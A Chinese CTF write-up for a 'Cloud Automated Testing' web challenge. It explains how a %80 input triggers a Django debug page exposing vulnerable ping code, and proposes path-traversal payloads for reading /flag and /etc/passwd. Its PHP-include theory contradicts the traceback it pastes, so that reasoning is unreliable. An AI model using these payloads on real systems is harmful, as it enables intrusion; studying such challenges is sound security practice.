題目
尋找這個單純的網站的flag
前端代碼:
<!DOCTYPE html>
<head><title>CAT</title>
</head><body>
<h1>Cloud Automated Testing</h1>
<p>輸入你的域名,例如:loli.club</p>
<form action="index.php" method="GET"><input name="url" type="text"><button>Submit</button>
</form>
<pre><code>
</code></pre>
</body>
漏洞分析
針對可提交文本框,%80的使用
不管輸入任何數字,點擊Submit,都沒有任何反應,唯獨網址處會get一下這個參數
那么我們在網址處,把參數換成%80,這回,網頁開始變得不一樣了
原理分析:
當訪問 http://223.112.39.132:46185/index.php?url=%80
時,需要從字符編碼、后端處理邏輯和潛在漏洞的角度分析這一請求的意義:
- %80 的本質:特殊字符的URL編碼
%80
是URL編碼后的結果,對應的十六進制值為0x80
(十進制128)。在ASCII編碼中,0x00-0x7F
是標準可見字符(如字母、數字、符號),而0x80-0xFF
屬于高位ASCII字符(非標準ASCII),在單字節編碼中通常無明確對應字符,更多用于多字節編碼(如UTF-8、GBK等)的擴展。
在UTF-8編碼中,0x80
本身是無效的單字節字符(UTF-8的單字節范圍僅為0x00-0x7F
,0x80
及以上需用多字節表示),因此當服務器以UTF-8解碼%80
時,會被識別為無效字符。 - 發送該請求的潛在目的:觸發后端處理漏洞
輸入%80
通常是為了測試后端對異常字符的處理邏輯,可能暴露以下漏洞或信息:
(1)錯誤信息泄露
若后端未妥善處理無效字符(如0x80
),可能拋出錯誤并泄露關鍵信息。例如:
- 若后端使用PHP且開啟了錯誤顯示(
display_errors = On
),可能返回類似Warning: include(�) failed to open stream: No such file or directory in /var/www/html/index.php on line X
的錯誤。- 這類錯誤直接暴露了后端使用
include
/require
函數處理url
參數(即文件包含邏輯),說明url
參數可能被作為文件路徑傳入文件包含函數,這是典型的文件包含漏洞特征。
- 這類錯誤直接暴露了后端使用
- 錯誤中可能包含服務器路徑(如
/var/www/html/
),為后續構造文件路徑(如讀取/flag
、/etc/passwd
等)提供依據。
(2)文件包含漏洞的驗證
若后端確實通過文件包含函數(如PHP的include($_GET['url'])
)處理url
參數,%80
的作用是測試是否能繞過簡單過濾。例如: - 部分過濾邏輯可能僅攔截
../
(路徑穿越字符),但對0x80
這類特殊字符無處理,此時%80
可用于確認“文件包含”邏輯的存在(即使暫時無法讀取文件)。 - 若后續結合路徑穿越(如
../
)+ 特殊字符(如%80
可能干擾過濾),可能構造出有效路徑(如../../../../flag
),直接讀取服務器上的flag
文件。
(3)編碼處理漏洞
在部分老舊服務器或框架中,對0x80
這類高位字符的解碼可能存在缺陷: - 例如,某些環境會將
0x80
解析為“空字節”(0x00
),而空字節在C語言函數(如fopen
)中會截斷字符串(如flag.txt%00.jpg
會被解析為flag.txt
)。若%80
被誤解析為空字節,可能繞過“文件后綴限制”(若存在)。
總結
訪問url=%80
的核心目的是探測后端是否通過文件包含函數處理輸入,并通過錯誤信息確認漏洞類型(如文件包含)。若返回包含include
/require
相關的錯誤,可進一步構造路徑穿越 payload(如../../../../flag
、/etc/passwd
等)讀取敏感文件,最終獲取flag
。
針對返回網頁的分析
<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="robots" content="NONE,NOARCHIVE"><title>UnicodeEncodeError at /api/ping</title><style type="text/css">html * { padding:0; margin:0; }body * { padding:10px 20px; }body * * { padding:0; }body { font:small sans-serif; }body>div { border-bottom:1px solid #ddd; }h1 { font-weight:normal; }h2 { margin-bottom:.8em; }h2 span { font-size:80%; color:#666; font-weight:normal; }h3 { margin:1em 0 .5em 0; }h4 { margin:0 0 .5em 0; font-weight: normal; }code, pre { font-size: 100%; white-space: pre-wrap; }table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }tbody td, tbody th { vertical-align:top; padding:2px 3px; }thead th {padding:1px 6px 1px 3px; background:#fefefe; text-align:left;font-weight:normal; font-size:11px; border:1px solid #ddd;}tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }table.vars { margin:5px 0 2px 40px; }table.vars td, table.req td { font-family:monospace; }table td.code { width:100%; }table td.code pre { overflow:hidden; }table.source th { color:#666; }table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }ul.traceback { list-style-type:none; color: #222; }ul.traceback li.frame { padding-bottom:1em; color:#666; }ul.traceback li.user { background-color:#e0e0e0; color:#000 }div.context { padding:10px 0; overflow:hidden; }div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; }div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; }div.context ol li pre { display:inline; }div.context ol.context-line li { color:#505050; background-color:#dfdfdf; padding: 3px 2px; }div.context ol.context-line li span { position:absolute; right:32px; }.user div.context ol.context-line li { background-color:#bbb; color:#000; }.user div.context ol li { color:#666; }div.commands { margin-left: 40px; }div.commands a { color:#555; text-decoration:none; }.user div.commands a { color: black; }#summary { background: #ffc; }#summary h2 { font-weight: normal; color: #666; }#explanation { background:#eee; }#template, #template-not-exist { background:#f6f6f6; }#template-not-exist ul { margin: 0 0 10px 20px; }#template-not-exist .postmortem-section { margin-bottom: 3px; }#unicode-hint { background:#eee; }#traceback { background:#eee; }#requestinfo { background:#f6f6f6; padding-left:120px; }#summary table { border:none; background:transparent; }#requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }#requestinfo h3 { margin-bottom:-1em; }.error { background: #ffc; }.specific { color:#cc3300; font-weight:bold; }h2 span.commands { font-size:.7em;}span.commands a:link {color:#5E5694;}pre.exception_value { font-family: sans-serif; color: #666; font-size: 1.5em; margin: 10px 0 10px 0; }.append-bottom { margin-bottom: 10px; }</style><script type="text/javascript">//<!--function getElementsByClassName(oElm, strTagName, strClassName){// Written by Jonathan Snook, http://www.snook.ca/jon; Add-ons by Robert Nyman, http://www.robertnyman.comvar arrElements = (strTagName == "*" && document.all)? document.all :oElm.getElementsByTagName(strTagName);var arrReturnElements = new Array();strClassName = strClassName.replace(/\-/g, "\-");var oRegExp = new RegExp("(^|\s)" + strClassName + "(\s|$)");var oElement;for(var i=0; i<arrElements.length; i++){oElement = arrElements[i];if(oRegExp.test(oElement.className)){arrReturnElements.push(oElement);}}return (arrReturnElements)}function hideAll(elems) {for (var e = 0; e < elems.length; e++) {elems[e].style.display = 'none';}}window.onload = function() {hideAll(getElementsByClassName(document, 'table', 'vars'));hideAll(getElementsByClassName(document, 'ol', 'pre-context'));hideAll(getElementsByClassName(document, 'ol', 'post-context'));hideAll(getElementsByClassName(document, 'div', 'pastebin'));}function toggle() {for (var i = 0; i < arguments.length; i++) {var e = document.getElementById(arguments[i]);if (e) {e.style.display = e.style.display == 'none' ? 'block': 'none';}}return false;}function varToggle(link, id) {toggle('v' + id);var s = link.getElementsByTagName('span')[0];var uarr = String.fromCharCode(0x25b6);var darr = String.fromCharCode(0x25bc);s.textContent = s.textContent == uarr ? darr : uarr;return false;}function switchPastebinFriendly(link) {s1 = "Switch to copy-and-paste view";s2 = "Switch back to interactive view";link.textContent = link.textContent.trim() == s1 ? s2: s1;toggle('browserTraceback', 'pastebinTraceback');return false;}//--></script></head>
<body>
<div id="summary"><h1>UnicodeEncodeError at /api/ping</h1><pre class="exception_value">'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence</pre><table class="meta"><tr><th>Request Method:</th><td>POST</td></tr><tr><th>Request URL:</th><td>http://127.0.0.1:8000/api/ping</td></tr><tr><th>Django Version:</th><td>1.10.4</td></tr><tr><th>Exception Type:</th><td>UnicodeEncodeError</td></tr><tr><th>Exception Value:</th><td><pre>'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence</pre></td></tr><tr><th>Exception Location:</th><td>/opt/api/dnsapi/utils.py in escape, line 9</td></tr><tr><th>Python Executable:</th><td>/usr/bin/python</td></tr><tr><th>Python Version:</th><td>2.7.12</td></tr><tr><th>Python Path:</th><td><pre>['/opt/api','/usr/lib/python2.7','/usr/lib/python2.7/plat-x86_64-linux-gnu','/usr/lib/python2.7/lib-tk','/usr/lib/python2.7/lib-old','/usr/lib/python2.7/lib-dynload','/usr/local/lib/python2.7/dist-packages','/usr/lib/python2.7/dist-packages']</pre></td></tr><tr><th>Server time:</th><td>Thu, 17 Jul 2025 04:33:22 +0000</td></tr></table>
</div><div id="unicode-hint"><h2>Unicode error hint</h2><p>The string that could not be encoded/decoded was: <strong>�</strong></p>
</div><div id="traceback"><h2>Traceback <span class="commands"><a href="#" onclick="return switchPastebinFriendly(this);">Switch to copy-and-paste view</a></span></h2><div id="browserTraceback"><ul class="traceback"><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py</code> in <code>inner</code><div class="context" id="c139957791782672"><ol start="32" class="pre-context" id="pre139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> This decorator is automatically applied to all middleware to ensure that</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> no middleware leaks an exception and that the next middleware in the stack</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> can rely on getting a response instead of an exception.</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> """</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> @wraps(get_response, assigned=available_attrs(get_response))</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> def inner(request):</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> try:</pre></li></ol><ol start="39" class="context-line"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>response = get_response(request)</pre> <span>...</span></li></ol><ol start='40' class="post-context" id="post139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> except Exception as exc:</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> response = response_for_exception(request, exc)</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> return response</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> return inner</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957791782672')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957791782672"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>exc</td><td class="code"><pre>UnicodeEncodeError('gbk', u'\ufffd', 0, 1, 'illegal multibyte sequence')</pre></td></tr><tr><td>get_response</td><td class="code"><pre><bound method WSGIHandler._get_response of <django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10>></pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808042712"><ol start="180" class="pre-context" id="pre139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> break</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> try:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> except Exception as e:</pre></li></ol><ol start="187" class="context-line"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>response = self.process_exception_by_middleware(e, request)</pre> <span>...</span></li></ol><ol start='188' class="post-context" id="post139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> view_name = callback.__name__</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> else: # CBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808042712')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808042712"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError('gbk', u'\ufffd', 0, 1, 'illegal multibyte sequence')</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr><tr><td>resolver</td><td class="code"><pre><RegexURLResolver 'api.urls' (None:None) ^/></pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10></pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808043288"><ol start="178" class="pre-context" id="pre139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> response = middleware_method(request, callback, callback_args, callback_kwargs)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if response:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> break</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> try:</pre></li></ol><ol start="185" class="context-line"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre> <span>...</span></li></ol><ol start='186' class="post-context" id="post139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> except Exception as e:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> response = self.process_exception_by_middleware(e, request)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043288')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808043288"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError('gbk', u'\ufffd', 0, 1, 'illegal multibyte sequence')</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr><tr><td>resolver</td><td class="code"><pre><RegexURLResolver 'api.urls' (None:None) ^/></pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10></pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>wrapper</code><div class="context" id="c139957808043432"><ol start="14" class="pre-context" id="pre139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> # 合并 requests.FILES 和 requests.POST</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> for k, v in request.FILES.items():</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> if isinstance(v, InMemoryUploadedFile):</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> v = v.read()</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> request.FILES[k] = v</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> request.POST.update(request.FILES)</pre></li></ol><ol start="21" class="context-line"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>return f(*args, **kwargs)</pre> <span>...</span></li></ol><ol start='22' class="post-context" id="post139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> return wrapper</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>def ping(request):</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043432')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808043432"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>args</td><td class="code"><pre>(<WSGIRequest: POST '/api/ping'>,)</pre></td></tr><tr><td>f</td><td class="code"><pre><function ping at 0x7f4a7773dc80></pre></td></tr><tr><td>kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>ping</code><div class="context" id="c139957808045952"><ol start="23" class="pre-context" id="pre139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> return wrapper</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>def ping(request):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> # 轉義</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> data = request.POST.get('url')</pre></li></ol><ol start="30" class="context-line"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>data = escape(data)</pre> <span>...</span></li></ol><ol start='31' class="post-context" id="post139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> if not re.match('^[a-zA-Z0-9\-\./]+$', data):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> return HttpResponse("Invalid URL")</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> return HttpResponse(os.popen("ping -c 1 \"%s\"" % data).read())</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808045952')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808045952"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>data</td><td class="code"><pre>u'\ufffd'</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/utils.py</code> in <code>escape</code><div class="context" id="c139957808345456"><ol start="2" class="pre-context" id="pre139957808345456"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> r = ''</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> for i in range(len(data)):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> c = data[i]</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> if c in ('\\', '\'', '"', '$', '`'):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> r = r + '\\' + c</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> else:</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> r = r + c</pre></li></ol><ol start="9" class="context-line"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>return r.encode('gbk')</pre> <span>...</span></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808345456')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808345456"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>c</td><td class="code"><pre>u'\ufffd'</pre></td></tr><tr><td>data</td><td class="code"><pre>u'\ufffd'</pre></td></tr><tr><td>i</td><td class="code"><pre>0</pre></td></tr><tr><td>r</td><td class="code"><pre>u'\ufffd'</pre></td></tr></tbody></table></li></ul></div><form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post"><div id="pastebinTraceback" class="pastebin"><input type="hidden" name="language" value="PythonConsole"><input type="hidden" name="title"value="UnicodeEncodeError at /api/ping"><input type="hidden" name="source" value="Django Dpaste Agent"><input type="hidden" name="poster" value="Django"><textarea name="content" id="traceback_area" cols="140" rows="25">
Environment:Request Method: POST
Request URL: http://127.0.0.1:8000/api/pingDjango Version: 1.10.4
Python Version: 2.7.12
Installed Applications:
['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','dnsapi']
Installed Middleware:
['django.middleware.security.SecurityMiddleware','django.contrib.sessions.middleware.SessionMiddleware','django.middleware.common.CommonMiddleware','django.contrib.auth.middleware.AuthenticationMiddleware','django.contrib.messages.middleware.MessageMiddleware','django.middleware.clickjacking.XFrameOptionsMiddleware']Traceback:File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py" in inner39. response = get_response(request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response187. response = self.process_exception_by_middleware(e, request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response185. response = wrapped_callback(request, *callback_args, **callback_kwargs)File "/opt/api/dnsapi/views.py" in wrapper21. return f(*args, **kwargs)File "/opt/api/dnsapi/views.py" in ping30. data = escape(data)File "/opt/api/dnsapi/utils.py" in escape9. return r.encode('gbk')Exception Type: UnicodeEncodeError at /api/ping
Exception Value: 'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence
</textarea><br><br><input type="submit" value="Share this traceback on a public website"></div>
</form>
</div><div id="requestinfo"><h2>Request information</h2><h3 id="user-info">USER</h3><p>AnonymousUser</p><h3 id="get-info">GET</h3><p>No GET data</p><h3 id="post-info">POST</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>url</td><td class="code"><pre>u'\ufffd'</pre></td></tr></tbody></table><h3 id="files-info">FILES</h3><p>No FILES data</p><h3 id="cookie-info">COOKIES</h3><p>No cookie data</p><h3 id="meta-info">META</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>CONTENT_LENGTH</td><td class="code"><pre>'139'</pre></td></tr><tr><td>CONTENT_TYPE</td><td class="code"><pre>'multipart/form-data; boundary=------------------------e9b831ece813d4f5'</pre></td></tr><tr><td>DJANGO_SETTINGS_MODULE</td><td class="code"><pre>'api.settings'</pre></td></tr><tr><td>GATEWAY_INTERFACE</td><td class="code"><pre>'CGI/1.1'</pre></td></tr><tr><td>HOME</td><td class="code"><pre>'/root'</pre></td></tr><tr><td>HOSTNAME</td><td class="code"><pre>'00a9881ade11'</pre></td></tr><tr><td>HTTP_ACCEPT</td><td class="code"><pre>'*/*'</pre></td></tr><tr><td>HTTP_EXPECT</td><td class="code"><pre>'100-continue'</pre></td></tr><tr><td>HTTP_HOST</td><td class="code"><pre>'127.0.0.1:8000'</pre></td></tr><tr><td>PATH</td><td class="code"><pre>'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'</pre></td></tr><tr><td>PATH_INFO</td><td class="code"><pre>u'/api/ping'</pre></td></tr><tr><td>PWD</td><td class="code"><pre>'/opt/api'</pre></td></tr><tr><td>QUERY_STRING</td><td class="code"><pre>''</pre></td></tr><tr><td>REMOTE_ADDR</td><td class="code"><pre>'127.0.0.1'</pre></td></tr><tr><td>REMOTE_HOST</td><td class="code"><pre>''</pre></td></tr><tr><td>REQUEST_METHOD</td><td class="code"><pre>'POST'</pre></td></tr><tr><td>RUN_MAIN</td><td class="code"><pre>'true'</pre></td></tr><tr><td>SCRIPT_NAME</td><td class="code"><pre>u''</pre></td></tr><tr><td>SERVER_NAME</td><td class="code"><pre>'localhost'</pre></td></tr><tr><td>SERVER_PORT</td><td class="code"><pre>'8000'</pre></td></tr><tr><td>SERVER_PROTOCOL</td><td class="code"><pre>'HTTP/1.1'</pre></td></tr><tr><td>SERVER_SOFTWARE</td><td class="code"><pre>'WSGIServer/0.1 Python/2.7.12'</pre></td></tr><tr><td>TZ</td><td class="code"><pre>'UTC'</pre></td></tr><tr><td>wsgi.errors</td><td class="code"><pre><open file '<stderr>', mode 'w' at 0x7f4a7b57e1e0></pre></td></tr><tr><td>wsgi.file_wrapper</td><td class="code"><pre>''</pre></td></tr><tr><td>wsgi.input</td><td class="code"><pre><socket._fileobject object at 0x7f4a76c4d9d0></pre></td></tr><tr><td>wsgi.multiprocess</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.multithread</td><td class="code"><pre>True</pre></td></tr><tr><td>wsgi.run_once</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.url_scheme</td><td class="code"><pre>'http'</pre></td></tr><tr><td>wsgi.version</td><td class="code"><pre>(1, 0)</pre></td></tr></tbody></table><h3 id="settings-info">Settings</h3><h4>Using settings module <code>api.settings</code></h4><table class="req"><thead><tr><th>Setting</th><th>Value</th></tr></thead><tbody><tr><td>ABSOLUTE_URL_OVERRIDES</td><td class="code"><pre>{}</pre></td></tr><tr><td>ADMINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>ALLOWED_HOSTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>APPEND_SLASH</td><td class="code"><pre>True</pre></td></tr><tr><td>AUTHENTICATION_BACKENDS</td><td class="code"><pre>[u'django.contrib.auth.backends.ModelBackend']</pre></td></tr><tr><td>AUTH_PASSWORD_VALIDATORS</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>AUTH_USER_MODEL</td><td class="code"><pre>u'auth.User'</pre></td></tr><tr><td>BASE_DIR</td><td class="code"><pre>'/opt/api'</pre></td></tr><tr><td>CACHES</td><td class="code"><pre>{u'default': {u'BACKEND': u'django.core.cache.backends.locmem.LocMemCache'}}</pre></td></tr><tr><td>CACHE_MIDDLEWARE_ALIAS</td><td class="code"><pre>u'default'</pre></td></tr><tr><td>CACHE_MIDDLEWARE_KEY_PREFIX</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>CACHE_MIDDLEWARE_SECONDS</td><td class="code"><pre>600</pre></td></tr><tr><td>CSRF_COOKIE_AGE</td><td class="code"><pre>31449600</pre></td></tr><tr><td>CSRF_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>CSRF_COOKIE_HTTPONLY</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_COOKIE_NAME</td><td class="code"><pre>u'csrftoken'</pre></td></tr><tr><td>CSRF_COOKIE_PATH</td><td class="code"><pre>u'/'</pre></td></tr><tr><td>CSRF_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_FAILURE_VIEW</td><td class="code"><pre>u'django.views.csrf.csrf_failure'</pre></td></tr><tr><td>CSRF_HEADER_NAME</td><td class="code"><pre>u'HTTP_X_CSRFTOKEN'</pre></td></tr><tr><td>CSRF_TRUSTED_ORIGINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATABASES</td><td class="code"><pre>{'default': {'ATOMIC_REQUESTS': False,'AUTOCOMMIT': True,'CONN_MAX_AGE': 0,'ENGINE': 'django.db.backends.sqlite3','HOST': '','NAME': '/opt/api/database.sqlite3','OPTIONS': {},'PASSWORD': u'********************','PORT': '','TEST': {'CHARSET': None,'COLLATION': None,'MIRROR': None,'NAME': None},'TIME_ZONE': None,'USER': ''}}</pre></td></tr><tr><td>DATABASE_ROUTERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATA_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>DATA_UPLOAD_MAX_NUMBER_FIELDS</td><td class="code"><pre>1000</pre></td></tr><tr><td>DATETIME_FORMAT</td><td class="code"><pre>u'N j, Y, P'</pre></td></tr><tr><td>DATETIME_INPUT_FORMATS</td><td class="code"><pre>[u'%Y-%m-%d %H:%M:%S',u'%Y-%m-%d %H:%M:%S.%f',u'%Y-%m-%d %H:%M',u'%Y-%m-%d',u'%m/%d/%Y %H:%M:%S',u'%m/%d/%Y %H:%M:%S.%f',u'%m/%d/%Y %H:%M',u'%m/%d/%Y',u'%m/%d/%y %H:%M:%S',u'%m/%d/%y %H:%M:%S.%f',u'%m/%d/%y 